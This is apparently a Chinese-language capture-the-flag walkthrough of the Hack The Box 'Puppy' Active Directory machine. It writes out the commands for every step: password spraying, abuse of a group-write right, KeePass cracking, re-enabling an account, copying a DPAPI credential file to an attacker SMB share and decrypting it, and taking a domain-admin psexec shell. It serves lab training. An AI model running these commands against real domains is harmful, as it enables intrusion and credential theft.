HTB-Puppy

一、初始侦察与立足点建立

1.1 端口扫描与服务识别

对目标主机 10.10.11.70 进行全端口扫描，结果显示开放了多个与域环境相关的服务端口。

sudo nmap 10.10.11.70 -p- --min-rate=5000 -A

图1: Nmap 扫描结果显示 88 (Kerberos), 139/445 (SMB), 5985 (WinRM) 等端口开放，初步判断为域控制器

1.2 SMB 枚举与初始凭证利用

获得了初始凭证 levi.james:KingofAkron2025!。首先利用此凭证对 SMB 共享进行枚举。

nxc smb 10.10.11.70 -u levi.james -p KingofAkron2025! --shares

图2: nxc (NetExec) 枚举 SMB 共享结果，发现 dev 目录，但当前用户不可读

在枚举到的共享中，dev 目录较为特殊，但当前用户 levi.james 并无读取权限。

1.3 域用户枚举

利用已知凭证，通过 LDAP 服务枚举域内用户，并将结果保存。

nxc ldap 10.10.11.70 -u levi.james -p KingofAkron2025! --users

获取到的域用户列表如下：

Administrator
levi.james
ant.edwards
adam.silver
amie.williams
steph.cooper
steph.cooper_adm

图3: LDAP 枚举获取的域用户列表，保存至 users.txt

1.4 初步攻击尝试与信息收集

使用已发现的域用户列表 (users.txt) 和初始密码 KingofAkron2025! 进行密码喷洒，未获得新的有效凭证。

nxc smb 10.10.11.70 -u users.txt -p KingofAkron2025! --continue-on-success

图4: 密码喷洒尝试未成功

接着，尝试 AS-REP Roasting 和 Kerberoasting 攻击，均未发现可利用的哈希。然而，在 Kerberoasting 的输出中，意外发现用户 adam.silver 处于不可用状态。

nxc ldap 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --asreproast output.txt
nxc ldap 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --kerberoasting output.txt

图5: AS-REP Roasting 和 Kerberoasting 未成功，但提示 adam.silver 账户禁用

为确认 adam.silver 账户状态，使用 bloodyAD 查询其 userAccountControl 属性。

bloodyAD -u 'levi.james' -p 'KingofAkron2025!' -d puppy.htb --host 10.10.11.70 get object adam.silver --attr userAccountControl

图6: bloodyAD 查询确认 adam.silver 账户的 userAccountControl 为 ACCOUNTDISABLE状态

查询结果 (ACCOUNTDISABLE) 确认了 adam.silver 账户确实处于禁用状态。

1.5 ADCS 枚举

对 Active Directory 证书服务 (ADCS) 进行枚举，寻找潜在的配置错误或漏洞，但未发现可利用点。

certipy-ad find -u 'levi.james' -p 'KingofAkron2025!' -dc-ip 10.10.11.70 -vulnerable -enabled -text -ldap-scheme ldap

图7: ADCS 枚举未发现可利用漏洞

二、权限提升：利用 GenericWrite 与 KeePass 破解

2.1 BloodHound 分析与 GenericWrite 权限发现

在常规方法尝试未果后，使用 BloodHound 进行更深入的域内权限关系分析。

bloodhound-ce-python -c all -d puppy.htb -u 'levi.james' -p 'KingofAkron2025!' -ns 10.10.11.70 -dc dc.puppy.htb --zip

图8: 使用 bloodhound-ce-python 收集域信息

BloodHound 分析结果显示，用户 levi.james 所属的 HR@PUPPY.HTB 组对 DEVELOPERS@PUPPY.HTB 组拥有 GenericWrite 权限。

图9: BloodHound 显示 HR 组对 Developers 组拥有 GenericWrite 权限

2.2 利用 GenericWrite 访问受限共享

GenericWrite 权限允许我们将用户添加到目标组。利用此权限，将 levi.james 添加到 Developers 组。

bloodyAD --host 10.10.11.70 -u 'levi.james' -p 'KingofAkron2025!' -d puppy.htb add groupMember developers levi.james

图10: 使用 bloodyAD 将 levi.james 添加到 Developers 组

成功添加后，再次尝试访问之前不可读的 dev 共享目录。

nxc smb 10.10.11.70 -u levi.james -p KingofAkron2025! --shares

图11: levi.james 成为 Developers 组成员后，dev 共享目录变为可读

连接到 dev 共享目录并下载所有文件。

图12: 从 dev 共享目录下载文件，发现 recovery.kdbx KeePass 密码文件

目录中包含两个文件，其中 recovery.kdbx 是一个 KeePass 密码数据库文件，成为我们关注的重点。

2.3 KeePass 文件破解

2.3.1 keepass2john 版本问题与编译

尝试使用 keepass2john 将 .kdbx 文件转换为 hashcat 或 John the Ripper 可识别的哈希格式，但转换失败。

keepass2john recovery.kdbx > keepass.hash

图13: keepass2john 转换失败

搜索发现，失败原因是 recovery.kdbx 文件为 KeePass v4 版本，而当前 kali 的最新版本依旧不支持。幸运的是，JtR 的 “Bloody Jumbo” 版本自2024年11月起已支持 KeePass v4。

图14: 社区帖子指出 JtR Bloody Jumbo 支持 KeePass v4

因此，我们下载 JtR 最新源码并进行编译安装。

# 安装依赖
sudo apt install -y git build-essential libssl-dev libgmp-dev libpcap-dev pkg-config libbz2-dev zlib1g-dev
# 下载最新源码
git clone https://github.com/openwall/john.git
# 进入src目录并运行基本配置脚本
cd john/src/ && ./configure
# 编译源代码
make -s clean && make -sj$(nproc)
# 进入上一级的run目录并验证
cd ../run && ./john --help

图15: 成功编译并运行最新版 John the Ripper

2.3.2 破解密码

使用新编译的 keepass2john 和 john 工具，配合 rockyou.txt 字典成功破解 recovery.kdbx 的主密码。

./run/keepass2john ~/htb/Puppy/recovery.kdbx > ~/htb/Puppy/keepass.hash
./run/john ~/htb/Puppy/keepass.hash -w /usr/share/wordlists/rockyou.txt --format=keepass

图16: 成功破解 KeePass 文件密码为 liverpool

2.4 凭证收集与密码喷洒

使用破解的密码 liverpool 打开 recovery.kdbx 文件，发现其中存储了 5 组凭证。

keepassxc recovery.kdbx

图17: KeePass 文件中存储的凭证

将这些新凭证连同已知的密码（共7个）保存到 passwords.txt 文件：

JamieLove2025!
Antman2025!
ILY2025!
Steve2025!
HJKL2025!
KingofAkron2025!
liverpool

使用更新后的用户列表 (users.txt) 和密码列表 (passwords.txt) 再次进行密码喷洒。

nxc ldap 10.10.11.70 -u users.txt -p passwords.txt --continue-on-success

图18: 密码喷洒成功命中 ant.edwards:Antman2025!

密码喷洒成功获取了用户 ant.edwards 的有效凭证 Antman2025!。

三、横向移动：控制 adam.silver

3.1 BloodHound 分析：ant.edwards 对 adam.silver 的 GenericAll 权限

在 BloodHound 中分析新获取的用户 ant.edwards 的权限，发现其对之前被禁用的用户 adam.silver 拥有 GenericAll 权限。

图19: BloodHound 显示 ant.edwards 对 adam.silver 拥有 GenericAll 权限

同时，adam.silver 是 Remote Management Users 组的成员，这意味着一旦其账户被启用并设置密码，便可以通过 WinRM 进行远程登录。

图20: adam.silver 属于 Remote Management Users 组

3.2 启用账户并重置密码

利用 ant.edwards 的 GenericAll 权限，我们首先重置 adam.silver 的密码，然后移除其账户的 ACCOUNTDISABLE 标记以启用该账户。

bloodyAD -u 'ant.edwards' -p 'Antman2025!' -d puppy.htb --host 10.10.11.70 set password adam.silver summer@123
bloodyAD -u 'ant.edwards' -p 'Antman2025!' -d puppy.htb --host 10.10.11.70 remove uac adam.silver -f ACCOUNTDISABLE

图21: 成功重置 adam.silver 密码并启用其账户

3.3 WinRM 登录与用户 Flag 获取

使用新设置的凭证 adam.silver:summer@123 通过 WinRM 远程登录目标服务器，并成功获取 user.txt。

图22: 通过 WinRM 登录 adam.silver 并获取 user flag

四、进一步提权：DPAPI 与 steph.cooper_adm

4.1 文件发现与凭证泄露 (steph.cooper)

在 adam.silver 用户的 Shell 中，于 C:\Backups 目录下发现一个压缩包。将其下载到本地进行分析。

图23: 在 C:\Backups 发现压缩包文件

解压后，在压缩包内的文件中发现了用户 steph.cooper 的明文密码 ChefSteph2025!。

图24: 从 creds.zip 中发现 steph.cooper 的密码

将此密码添加到我们的密码列表 passwords.txt 中。

4.2 再次密码喷洒

为确保覆盖所有可能性，使用更新后的密码列表再次进行密码喷洒。

nxc ldap 10.10.11.70 -u users.txt -p passwords.txt --continue-on-success

图25: 密码喷洒确认 steph.cooper/ChefSteph2025! 凭证有效

此轮喷洒确认了 steph.cooper/ChefSteph2025! 凭证的有效性。BloodHound 分析显示 steph.cooper 也是远程管理组成员，但没有直接的权限提升路径。

图26: BloodHound 显示 steph.cooper 无明显提权路径

4.3 DPAPI 信息收集与利用

通过 WinRM 登录用户 steph.cooper。在其桌面上发现 Edge 浏览器快捷方式（adam.silver 桌面也有），暗示浏览器可能存储了凭证，这些凭证通常使用 Windows DPAPI 加密。

图27: steph.cooper 桌面存在 Edge 浏览器快捷方式

4.3.1 WinPEAS 枚举

上传并运行 winpeas.exe 进行提权向量和敏感信息枚举。

图28: 上传 winpeas.exe

WinPEAS 的输出帮助定位了与 DPAPI 相关的主密钥文件和凭据文件。

图29: WinPEAS 找到 DPAPI 主密钥和凭据文件路径

4.3.2 DPAPI 主密钥与凭据文件下载

根据 WinPEAS 的提示，下载 DPAPI 主密钥文件 (556a2412-1275-4ccf-b721-e6a0b4f90407) 和两个凭据文件 (DFBE70A7E5CC19A398EBF1B96859CE5D, C8D69EBE9A43E9DEBF6B5FBD48B521B9)。
由于其中一个凭据文件是隐藏文件，evil-winrm 的 download 命令下载出错，因此借助于本地开启的 impacket-smbserver 进行传输。

# 在攻击机上启动 SMB 服务器
impacket-smbserver -smb2support a .
# 在目标机 steph.cooper 的 WinRM 会话中执行复制命令
Copy-Item -Path "C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9" -Destination "\\10.10.14.17\a\C8D69EBE9A43E9DEBF6B5FBD48B521B9" -Force

图30: 使用 SMB 服务器传输隐藏的 DPAPI 凭据文件

4.3.3 主密钥提取

使用 impacket-dpapi 和 steph.cooper 的密码 ChefSteph2025! 及 SID 从主密钥文件中提取出可用的 masterkey。

impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107

图31: 成功提取 DPAPI masterkey

4.3.4 凭证解密

使用提取的 masterkey 解密下载的两个凭据文件。第一个文件未包含有用信息。

impacket-dpapi credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key <masterkey_hex_from_previous_step>

图32: 解密第一个凭据文件，无有用信息

解密第二个凭据文件时，成功发现了一组凭据：steph.cooper_adm:FivethChipOnItsWay2025!。

impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key <masterkey_hex_from_previous_step>

图33: 从第二个凭据文件解密出 steph.cooper_adm 的凭证

五、域控权限获取

5.1 BloodHound 分析：steph.cooper_adm 权限

BloodHound 分析显示，用户 steph.cooper_adm 是 Domain Admins 组的成员，即域管理员。

图34: BloodHound 显示 steph.cooper_adm 属于域管理员组

5.2 psexec 获取域控 Shell

利用获取到的域管理员凭证 steph.cooper_adm:FivethChipOnItsWay2025!，通过 impacket-psexec 直接登录域控制器 10.10.11.70，获得 SYSTEM 权限。

impacket-psexec steph.cooper_adm:'FivethChipOnItsWay2025!'@10.10.11.70

图35: 使用 psexec 和 steph.cooper_adm 凭证，成功获取域控的 SYSTEM 权限

---